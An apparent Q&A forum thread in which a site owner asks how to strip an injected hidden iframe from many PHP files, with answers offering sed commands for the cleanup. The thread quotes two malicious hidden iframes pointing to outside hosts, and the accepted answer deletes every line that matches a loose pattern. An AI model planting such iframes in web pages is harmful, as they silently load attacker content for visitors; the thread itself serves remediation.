tags:

views:

124

answers:

5

Hello,

i am looking for a shell script to remove following code from multiple files:

<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>

I found scripts to remove iframes but they alle where for code with double quotes

Like this one here:

find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;

i tried escaping the single quotes like this

find -name "*.php" -exec sed -i 's/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//' {} \;

but then i get --> syntax error near unexpected token `<'

A: 

You might need to escape the < using a backslash: \< (or \\<, to escape the escape char from the shell)

John Weldon
i tried both but it doesnt really work, can you post a full command?
AciDRaT
A: 

Strange, but double quotes on the outside work for me:

find -name "*.php" -exec sed -i "s/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//" {} \;

But I cannot stop wondering why your command doesn't work. I tried this on bash.

MvanGeest
hm it runs, but has no affect on my files.
AciDRaT
OK, how about removing some backslashes? Like the ones that escape the `'` single quotes? Shell quoting is complicated.
MvanGeest
+1  A: 
cat xyz.php | sed "s/.*BoG.*$//g" > fixedxyz.php

replace the BoG with as much as is necessary to make it unique (the '<' is irrelevant in my search/replace)

KevinDTimm
this seems to do the trick, thank you. my final code is:find -name "*.php" -exec sed -i "s/.*getrelax.*$//g" {} \;
AciDRaT
yes, I saw your line after my entry - figured you'd be OK with my form :) Don't forget to upvote/accept....
KevinDTimm
Though you have a competing answer, I'll do some upvoting for you.
MvanGeest
Thanks - I just like giving an example that matches in the short pattern - makes understanding the process much easier when you find this happening again in 3 months :)
KevinDTimm
And, it would have been better if I had chosen 'getrelax4you' as my constant in the regex (for clarity reasons)
KevinDTimm
May I ask why you didn't do `sed "s/.*BoG.*$//g" < xyz.php > fixedxyz.php`? To show how you could pipe input into `sed`? Or wouldn't this work at all?
MvanGeest
It's a style thing - I think it makes it clearer to a neophyte when they look at the format I used (it 'reads' left to right). Both are correct though.
KevinDTimm
A: 

This should work without any escaping:

sed "s|<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>||"
Dennis Williamson
A: 

I have the same issue. Is this a hacker or a virus?

is added to almost all my php files and some html files.

Someone please shed some light on this

mike